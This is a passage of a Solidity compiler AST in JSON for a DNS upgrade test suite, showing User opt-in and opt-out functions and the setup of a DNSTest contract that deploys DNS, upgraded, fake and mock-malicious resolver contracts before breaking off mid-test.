StructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple(bytes4,address)\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_string_memory_ptr\",\"typeString\":\"string memory\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"resolve\",\"referencedDeclaration\":1461,\"type\":\"function (string memory) view external returns (bytes4,address)\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":319,\"type\":\"contract IDNS\",\"value\":\"dns\"},\"id\":412,\"name\":\"Identifier\",\"src\":\"921:3:2\"}],\"id\":413,\"name\":\"MemberAccess\",\"src\":\"921:11:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":405,\"type\":\"string memory\",\"value\":\"_domain\"},\"id\":414,\"name\":\"Identifier\",\"src\":\"933:7:2\"}],\"id\":415,\"name\":\"FunctionCall\",\"src\":\"921:20:2\"}],\"id\":416,\"name\":\"Return\",\"src\":\"914:27:2\"}],\"id\":417,\"name\":\"Block\",\"src\":\"910:35:2\"}],\"id\":418,\"name\":\"FunctionDefinition\",\"src\":\"830:115:2\"},{\"attributes\":{\"functionSelector\":\"5b48684e\",\"implemented\":true,\"isConstructor\":false,\"kind\":\"function\",\"modifiers\":[null],\"name\":\"optIn\",\"scope\":443,\"stateMutability\":\"nonpayable\",\"virtual\":false,\"visibility\":\"external\"},\"children\":[{\"attributes\":{\"parameters\":[null]},\"children\":[],\"id\":419,\"name\":\"ParameterList\",\"src\":\"962:2:2\"},{\"attributes\":{\"parameters\":[null]},\"children\":[],\"id\":420,\"name\":\"ParameterList\",\"src\":\"974:0:2\"},{\"children\":[{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_enum$_Opt_$1731\",\"typeString\":\"enum Upgrade.Opt\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"opt\",\"referencedDeclaration\":1799,\"type\":\"function (enum Upgrade.Opt) external\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":321,\"type\":\"contract Upgrade\",\"value\":\"upgrade\"},\"id\":421,\"name\":\"Identifier\",\"src\":\"978:7:2\"}],\"id\":423,\"name\":\"MemberAccess\",\"src\":\"978:11:2\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"member_name\":\"In\",\"type\":\"enum Upgrade.Opt\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"Opt\",\"referencedDeclaration\":1731,\"type\":\"type(enum Upgrade.Opt)\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":2050,\"type\":\"type(contract Upgrade)\",\"value\":\"Upgrade\"},\"id\":424,\"name\":\"Identifier\",\"src\":\"990:7:2\"}],\"id\":425,\"name\":\"MemberAccess\",\"src\":\"990:11:2\"}],\"id\":426,\"name\":\"MemberAccess\",\"src\":\"990:14:2\"}],\"id\":427,\"name\":\"FunctionCall\",\"src\":\"978:27:2\"}],\"id\":428,\"name\":\"ExpressionStatement\",\"src\":\"978:27:2\"}],\"id\":429,\"name\":\"Block\",\"src\":\"974:35:2\"}],\"id\":430,\"name\":\"FunctionDefinition\",\"src\":\"948:61:2\"},{\"attributes\":{\"functionSelector\":\"d4eec5a6\",\"implemented\":true,\"isConstructor\":false,\"kind\":\"function\",\"modifiers\":[null],\"name\":\"optOut\",\"scope\":443,\"stateMutability\":\"nonpayable\",\"virtual\":false,\"visibility\":\"external\"},\"children\":[{\"attributes\":{\"parameters\":[null]},\"children\":[],\"id\":431,\"name\":\"ParameterList\",\"src\":\"1027:2:2\"},{\"attributes\":{\"parameters\":[null]},\"children\":[],\"id\":432,\"name\":\"ParameterList\",\"src\":\"1039:0:2\"},{\"children\":[{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_enum$_Opt_$1731\",\"typeString\":\"enum Upgrade.Opt\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"opt\",\"referencedDeclaration\":1799,\"type\":\"function (enum Upgrade.Opt) external\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":321,\"type\":\"contract Upgrade\",\"value\":\"upgrade\"},\"id\":433,\"name\":\"Identifier\",\"src\":\"1043:7:2\"}],\"id\":435,\"name\":\"MemberAccess\",\"src\":\"1043:11:2\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"member_name\":\"Out\",\"type\":\"enum Upgrade.Opt\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"Opt\",\"referencedDeclaration\":1731,\"type\":\"type(enum Upgrade.Opt)\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":2050,\"type\":\"type(contract Upgrade)\",\"value\":\"Upgrade\"},\"id\":436,\"name\":\"Identifier\",\"src\":\"1055:7:2\"}],\"id\":437,\"name\":\"MemberAccess\",\"src\":\"1055:11:2\"}],\"id\":438,\"name\":\"MemberAccess\",\"src\":\"1055:15:2\"}],\"id\":439,\"name\":\"FunctionCall\",\"src\":\"1043:28:2\"}],\"id\":440,\"name\":\"ExpressionStatement\",\"src\":\"1043:28:2\"}],\"id\":441,\"name\":\"Block\",\"src\":\"1039:36:2\"}],\"id\":442,\"name\":\"FunctionDefinition\",\"src\":\"1012:63:2\"}],\"id\":443,\"name\":\"ContractDefinition\",\"src\":\"245:832:2\"},{\"attributes\":{\"abstract\":false,\"contractDependencies\":[308,443,1417,1723,2050,2303,2747],\"contractKind\":\"contract\",\"fullyImplemented\":true,\"linearizedBaseContracts\":[1362,2747],\"name\":\"DNSTest\",\"scope\":1363},\"children\":[{\"attributes\":{},\"children\":[{\"attributes\":{\"name\":\"DSTest\",\"referencedDeclaration\":2747,\"type\":\"contract DSTest\"},\"id\":444,\"name\":\"UserDefinedTypeName\",\"src\":\"1099:6:2\"}],\"id\":445,\"name\":\"InheritanceSpecifier\",\"src\":\"1099:6:2\"},{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"hevm\",\"scope\":1362,\"stateVariable\":true,\"storageLocation\":\"default\",\"type\":\"contract HEVMCheat\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"HEVMCheat\",\"referencedDeclaration\":1417,\"type\":\"contract HEVMCheat\"},\"id\":446,\"name\":\"UserDefinedTypeName\",\"src\":\"1109:9:2\"}],\"id\":447,\"name\":\"VariableDeclaration\",\"src\":\"1109:14:2\"},{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"dns\",\"scope\":1362,\"stateVariable\":true,\"storageLocation\":\"default\",\"type\":\"contract DNS\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"DNS\",\"referencedDeclaration\":308,\"type\":\"contract DNS\"},\"id\":448,\"name\":\"UserDefinedTypeName\",\"src\":\"1127:3:2\"}],\"id\":449,\"name\":\"VariableDeclaration\",\"src\":\"1127:7:2\"},{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"up_dns\",\"scope\":1362,\"stateVariable\":true,\"storageLocation\":\"default\",\"type\":\"contract UpgradedDNS\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"UpgradedDNS\",\"referencedDeclaration\":2303,\"type\":\"contract UpgradedDNS\"},\"id\":450,\"name\":\"UserDefinedTypeName\",\"src\":\"1137:11:2\"}],\"id\":451,\"name\":\"VariableDeclaration\",\"src\":\"1137:18:2\"},{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"fake_up_dns\",\"scope\":1362,\"stateVariable\":true,\"storageLocation\":\"default\",\"type\":\"contract UpgradedDNS\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"UpgradedDNS\",\"referencedDeclaration\":2303,\"type\":\"contract UpgradedDNS\"},\"id\":452,\"name\":\"UserDefinedTypeName\",\"src\":\"1158:11:2\"}],\"id\":453,\"name\":\"VariableDeclaration\",\"src\":\"1158:23:2\"},{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"mal_dns\",\"scope\":1362,\"stateVariable\":true,\"storageLocation\":\"default\",\"type\":\"contract MalDNS\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"MalDNS\",\"referencedDeclaration\":1723,\"type\":\"contract MalDNS\"},\"id\":454,\"name\":\"UserDefinedTypeName\",\"src\":\"1184:6:2\"}],\"id\":455,\"name\":\"VariableDeclaration\",\"src\":\"1184:14:2\"},{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"upgrade\",\"scope\":1362,\"stateVariable\":true,\"storageLocation\":\"default\",\"type\":\"contract Upgrade\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"Upgrade\",\"referencedDeclaration\":2050,\"type\":\"contract Upgrade\"},\"id\":456,\"name\":\"UserDefinedTypeName\",\"src\":\"1201:7:2\"}],\"id\":457,\"name\":\"VariableDeclaration\",\"src\":\"1201:15:2\"},{\"attributes\":{\"constant\":true,\"mutability\":\"constant\",\"name\":\"MAX_USERS\",\"scope\":1362,\"stateVariable\":true,\"storageLocation\":\"default\",\"type\":\"uint256\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"uint\",\"type\":\"uint256\"},\"id\":458,\"name\":\"ElementaryTypeName\",\"src\":\"1220:4:2\"},{\"attributes\":{\"hexvalue\":\"34\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 4\",\"value\":\"4\"},\"id\":459,\"name\":\"Literal\",\"src\":\"1246:1:2\"}],\"id\":460,\"name\":\"VariableDeclaration\",\"src\":\"1220:27:2\"},{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"users\",\"scope\":1362,\"stateVariable\":true,\"storageLocation\":\"default\",\"type\":\"contract User[4]\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"type\":\"contract User[4]\"},\"children\":[{\"attributes\":{\"name\":\"User\",\"referencedDeclaration\":443,\"type\":\"contract User\"},\"id\":461,\"name\":\"UserDefinedTypeName\",\"src\":\"1250:4:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":460,\"type\":\"uint256\",\"value\":\"MAX_USERS\"},\"id\":462,\"name\":\"Identifier\",\"src\":\"1255:9:2\"}],\"id\":463,\"name\":\"ArrayTypeName\",\"src\":\"1250:15:2\"}],\"id\":464,\"name\":\"VariableDeclaration\",\"src\":\"1250:21:2\"},{\"attributes\":{\"functionSelector\":\"0a9254e4\",\"implemented\":true,\"isConstructor\":false,\"kind\":\"function\",\"modifiers\":[null],\"name\":\"setUp\",\"scope\":1362,\"stateMutability\":\"nonpayable\",\"virtual\":false,\"visibility\":\"public\"},\"children\":[{\"attributes\":{\"parameters\":[null]},\"children\":[],\"id\":465,\"name\":\"ParameterList\",\"src\":\"1289:2:2\"},{\"attributes\":{\"parameters\":[null]},\"children\":[],\"id\":466,\"name\":\"ParameterList\",\"src\":\"1299:0:2\"},{\"children\":[{\"children\":[{\"attributes\":{\"arguments\":[null],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[null],\"overloadedDeclarations\":[null],\"referencedDeclaration\":540,\"type\":\"function ()\",\"value\":\"reset\"},\"id\":467,\"name\":\"Identifier\",\"src\":\"1303:5:2\"}],\"id\":468,\"name\":\"FunctionCall\",\"src\":\"1303:7:2\"}],\"id\":469,\"name\":\"ExpressionStatement\",\"src\":\"1303:7:2\"}],\"id\":470,\"name\":\"Block\",\"src\":\"1299:15:2\"}],\"id\":471,\"name\":\"FunctionDefinition\",\"src\":\"1275:39:2\"},{\"attributes\":{\"implemented\":true,\"isConstructor\":false,\"kind\":\"function\",\"modifiers\":[null],\"name\":\"reset\",\"scope\":1362,\"stateMutability\":\"nonpayable\",\"virtual\":false,\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"parameters\":[null]},\"children\":[],\"id\":472,\"name\":\"ParameterList\",\"src\":\"1331:2:2\"},{\"attributes\":{\"parameters\":[null]},\"children\":[],\"id\":473,\"name\":\"ParameterList\",\"src\":\"1343:0:2\"},{\"children\":[{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"=\",\"type\":\"contract HEVMCheat\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":447,\"type\":\"contract HEVMCheat\",\"value\":\"hevm\"},\"id\":474,\"name\":\"Identifier\",\"src\":\"1347:4:2\"},{\"attributes\":{\"arguments\":[null],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"contract HEVMCheat\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[null],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"type\":\"function () returns (contract HEVMCheat)\"},\"children\":[{\"attributes\":{\"name\":\"HEVMCheat\",\"referencedDeclaration\":1417,\"type\":\"contract HEVMCheat\"},\"id\":475,\"name\":\"UserDefinedTypeName\",\"src\":\"1358:9:2\"}],\"id\":476,\"name\":\"NewExpression\",\"src\":\"1354:13:2\"}],\"id\":477,\"name\":\"FunctionCall\",\"src\":\"1354:15:2\"}],\"id\":478,\"name\":\"Assignment\",\"src\":\"1347:22:2\"}],\"id\":479,\"name\":\"ExpressionStatement\",\"src\":\"1347:22:2\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"=\",\"type\":\"contract Upgrade\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":457,\"type\":\"contract Upgrade\",\"value\":\"upgrade\"},\"id\":480,\"name\":\"Identifier\",\"src\":\"1374:7:2\"},{\"attributes\":{\"arguments\":[null],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"contract Upgrade\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[null],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"type\":\"function () returns (contract Upgrade)\"},\"children\":[{\"attributes\":{\"name\":\"Upgrade\",\"referencedDeclaration\":2050,\"type\":\"contract Upgrade\"},\"id\":481,\"name\":\"UserDefinedTypeName\",\"src\":\"1388:7:2\"}],\"id\":482,\"name\":\"NewExpression\",\"src\":\"1384:11:2\"}],\"id\":483,\"name\":\"FunctionCall\",\"src\":\"1384:13:2\"}],\"id\":484,\"name\":\"Assignment\",\"src\":\"1374:23:2\"}],\"id\":485,\"name\":\"ExpressionStatement\",\"src\":\"1374:23:2\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"=\",\"type\":\"contract DNS\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":449,\"type\":\"contract DNS\",\"value\":\"dns\"},\"id\":486,\"name\":\"Identifier\",\"src\":\"1401:3:2\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"contract DNS\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_contract$_Upgrade_$2050\",\"typeString\":\"contract Upgrade\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"type\":\"function (contract Upgrade) returns (contract DNS)\"},\"children\":[{\"attributes\":{\"name\":\"DNS\",\"referencedDeclaration\":308,\"type\":\"contract DNS\"},\"id\":487,\"name\":\"UserDefinedTypeName\",\"src\":\"1411:3:2\"}],\"id\":488,\"name\":\"NewExpression\",\"src\":\"1407:7:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":457,\"type\":\"contract Upgrade\",\"value\":\"upgrade\"},\"id\":489,\"name\":\"Identifier\",\"src\":\"1415:7:2\"}],\"id\":490,\"name\":\"FunctionCall\",\"src\":\"1407:16:2\"}],\"id\":491,\"name\":\"Assignment\",\"src\":\"1401:22:2\"}],\"id\":492,\"name\":\"ExpressionStatement\",\"src\":\"1401:22:2\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"=\",\"type\":\"contract UpgradedDNS\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":451,\"type\":\"contract UpgradedDNS\",\"value\":\"up_dns\"},\"id\":493,\"name\":\"Identifier\",\"src\":\"1427:6:2\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"contract UpgradedDNS\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_contract$_DNS_$308\",\"typeString\":\"contract DNS\"},{\"typeIdentifier\":\"t_contract$_Upgrade_$2050\",\"typeString\":\"contract Upgrade\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"type\":\"function (contract IDNS,contract Upgrade) returns (contract UpgradedDNS)\"},\"children\":[{\"attributes\":{\"name\":\"UpgradedDNS\",\"referencedDeclaration\":2303,\"type\":\"contract UpgradedDNS\"},\"id\":494,\"name\":\"UserDefinedTypeName\",\"src\":\"1440:11:2\"}],\"id\":495,\"name\":\"NewExpression\",\"src\":\"1436:15:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":449,\"type\":\"contract DNS\",\"value\":\"dns\"},\"id\":496,\"name\":\"Identifier\",\"src\":\"1452:3:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":457,\"type\":\"contract Upgrade\",\"value\":\"upgrade\"},\"id\":497,\"name\":\"Identifier\",\"src\":\"1457:7:2\"}],\"id\":498,\"name\":\"FunctionCall\",\"src\":\"1436:29:2\"}],\"id\":499,\"name\":\"Assignment\",\"src\":\"1427:38:2\"}],\"id\":500,\"name\":\"ExpressionStatement\",\"src\":\"1427:38:2\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"=\",\"type\":\"contract UpgradedDNS\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":453,\"type\":\"contract UpgradedDNS\",\"value\":\"fake_up_dns\"},\"id\":501,\"name\":\"Identifier\",\"src\":\"1469:11:2\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"contract UpgradedDNS\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_contract$_DNS_$308\",\"typeString\":\"contract DNS\"},{\"typeIdentifier\":\"t_contract$_Upgrade_$2050\",\"typeString\":\"contract Upgrade\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"type\":\"function (contract IDNS,contract Upgrade) returns (contract UpgradedDNS)\"},\"children\":[{\"attributes\":{\"name\":\"UpgradedDNS\",\"referencedDeclaration\":2303,\"type\":\"contract UpgradedDNS\"},\"id\":502,\"name\":\"UserDefinedTypeName\",\"src\":\"1487:11:2\"}],\"id\":503,\"name\":\"NewExpression\",\"src\":\"1483:15:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":449,\"type\":\"contract DNS\",\"value\":\"dns\"},\"id\":504,\"name\":\"Identifier\",\"src\":\"1499:3:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":457,\"type\":\"contract Upgrade\",\"value\":\"upgrade\"},\"id\":505,\"name\":\"Identifier\",\"src\":\"1504:7:2\"}],\"id\":506,\"name\":\"FunctionCall\",\"src\":\"1483:29:2\"}],\"id\":507,\"name\":\"Assignment\",\"src\":\"1469:43:2\"}],\"id\":508,\"name\":\"ExpressionStatement\",\"src\":\"1469:43:2\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"=\",\"type\":\"contract MalDNS\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":455,\"type\":\"contract MalDNS\",\"value\":\"mal_dns\"},\"id\":509,\"name\":\"Identifier\",\"src\":\"1516:7:2\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"contract MalDNS\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_rational_3405704942_by_1\",\"typeString\":\"int_const 3405704942\"},{\"typeIdentifier\":\"t_contract$_DNS_$308\",\"typeString\":\"contract DNS\"},{\"typeIdentifier\":\"t_contract$_Upgrade_$2050\",\"typeString\":\"contract Upgrade\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"type\":\"function (bytes4,contract IDNS,contract Upgrade) returns (contract MalDNS)\"},\"children\":[{\"attributes\":{\"name\":\"MalDNS\",\"referencedDeclaration\":1723,\"type\":\"contract MalDNS\"},\"id\":510,\"name\":\"UserDefinedTypeName\",\"src\":\"1530:6:2\"}],\"id\":511,\"name\":\"NewExpression\",\"src\":\"1526:10:2\"},{\"attributes\":{\"hexvalue\":\"30786361666565656565\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 3405704942\",\"value\":\"0xcafeeeee\"},\"id\":512,\"name\":\"Literal\",\"src\":\"1537:10:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":449,\"type\":\"contract DNS\",\"value\":\"dns\"},\"id\":513,\"name\":\"Identifier\",\"src\":\"1549:3:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":457,\"type\":\"contract Upgrade\",\"value\":\"upgrade\"},\"id\":514,\"name\":\"Identifier\",\"src\":\"1554:7:2\"}],\"id\":515,\"name\":\"FunctionCall\",\"src\":\"1526:36:2\"}],\"id\":516,\"name\":\"Assignment\",\"src\":\"1516:46:2\"}],\"id\":517,\"name\":\"ExpressionStatement\",\"src\":\"1516:46:2\"},{\"children\":[{\"attributes\":{\"assignments\":[519]},\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"i\",\"scope\":538,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"uint256\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"uint\",\"type\":\"uint256\"},\"id\":518,\"name\":\"ElementaryTypeName\",\"src\":\"1572:4:2\"}],\"id\":519,\"name\":\"VariableDeclaration\",\"src\":\"1572:6:2\"},{\"attributes\":{\"hexvalue\":\"30\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 0\",\"value\":\"0\"},\"id\":520,\"name\":\"Literal\",\"src\":\"1581:1:2\"}],\"id\":521,\"name\":\"VariableDeclarationStatement\",\"src\":\"1572:10:2\"},{\"attributes\":{\"commonType\":{\"typeIdentifier\":\"t_uint256\",\"typeString\":\"uint256\"},\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"<\",\"type\":\"bool\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":519,\"type\":\"uint256\",\"value\":\"i\"},\"id\":522,\"name\":\"Identifier\",\"src\":\"1584:1:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":460,\"type\":\"uint256\",\"value\":\"MAX_USERS\"},\"id\":523,\"name\":\"Identifier\",\"src\":\"1588:9:2\"}],\"id\":524,\"name\":\"BinaryOperation\",\"src\":\"1584:13:2\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"++\",\"prefix\":true,\"type\":\"uint256\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":519,\"type\":\"uint256\",\"value\":\"i\"},\"id\":525,\"name\":\"Identifier\",\"src\":\"1601:1:2\"}],\"id\":526,\"name\":\"UnaryOperation\",\"src\":\"1599:3:2\"}],\"id\":527,\"name\":\"ExpressionStatement\",\"src\":\"1599:3:2\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"=\",\"type\":\"contract User\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":true,\"type\":\"contract User\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":464,\"type\":\"contract User[4] storage ref\",\"value\":\"users\"},\"id\":528,\"name\":\"Identifier\",\"src\":\"1607:5:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":519,\"type\":\"uint256\",\"value\":\"i\"},\"id\":529,\"name\":\"Identifier\",\"src\":\"1613:1:2\"}],\"id\":530,\"name\":\"IndexAccess\",\"src\":\"1607:8:2\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"contract User\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_contract$_DNS_$308\",\"typeString\":\"contract DNS\"},{\"typeIdentifier\":\"t_contract$_Upgrade_$2050\",\"typeString\":\"contract Upgrade\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"type\":\"function (contract IDNS,contract Upgrade) returns (contract User)\"},\"children\":[{\"attributes\":{\"name\":\"User\",\"referencedDeclaration\":443,\"type\":\"contract User\"},\"id\":531,\"name\":\"UserDefinedTypeName\",\"src\":\"1622:4:2\"}],\"id\":532,\"name\":\"NewExpression\",\"src\":\"1618:8:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":449,\"type\":\"contract DNS\",\"value\":\"dns\"},\"id\":533,\"name\":\"Identifier\",\"src\":\"1627:3:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":457,\"type\":\"contract Upgrade\",\"value\":\"upgrade\"},\"id\":534,\"name\":\"Identifier\",\"src\":\"1632:7:2\"}],\"id\":535,\"name\":\"FunctionCall\",\"src\":\"1618:22:2\"}],\"id\":536,\"name\":\"Assignment\",\"src\":\"1607:33:2\"}],\"id\":537,\"name\":\"ExpressionStatement\",\"src\":\"1607:33:2\"}],\"id\":538,\"name\":\"ForStatement\",\"src\":\"1567:73:2\"}],\"id\":539,\"name\":\"Block\",\"src\":\"1343:301:2\"}],\"id\":540,\"name\":\"FunctionDefinition\",\"src\":\"1317:327:2\"},{\"attributes\":{\"functionSelector\":\"538d1c33\",\"implemented\":true,\"isConstructor\":false,\"kind\":\"function\",\"modifiers\":[null],\"name\":\"test_safe_sequence\",\"scope\":1362,\"stateMutability\":\"nonpayable\",\"virtual\":false,\"visibility\":\"public\"},\"children\":[{\"attributes\":{\"parameters\":[null]},\"children\":[],\"id\":541,\"name\":\"ParameterList\",\"src\":\"1674:2:2\"},{\"attributes\":{\"parameters\":[null]},\"children\":[],\"id\":542,\"name\":\"ParameterList\",\"src\":\"1684:0:2\"},{\"children\":[{\"attributes\":{\"assignments\":[544]},\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"d0\",\"scope\":1142,\"stateVariable\":false,\"storageLocation\":\"memory\",\"type\":\"string\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"string\",\"type\":\"string\"},\"id\":543,\"name\":\"ElementaryTypeName\",\"src\":\"1688:6:2\"}],\"id\":544,\"name\":\"VariableDeclaration\",\"src\":\"1688:16:2\"},{\"attributes\":{\"hexvalue\":\"612e657468\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"string\",\"type\":\"literal_string 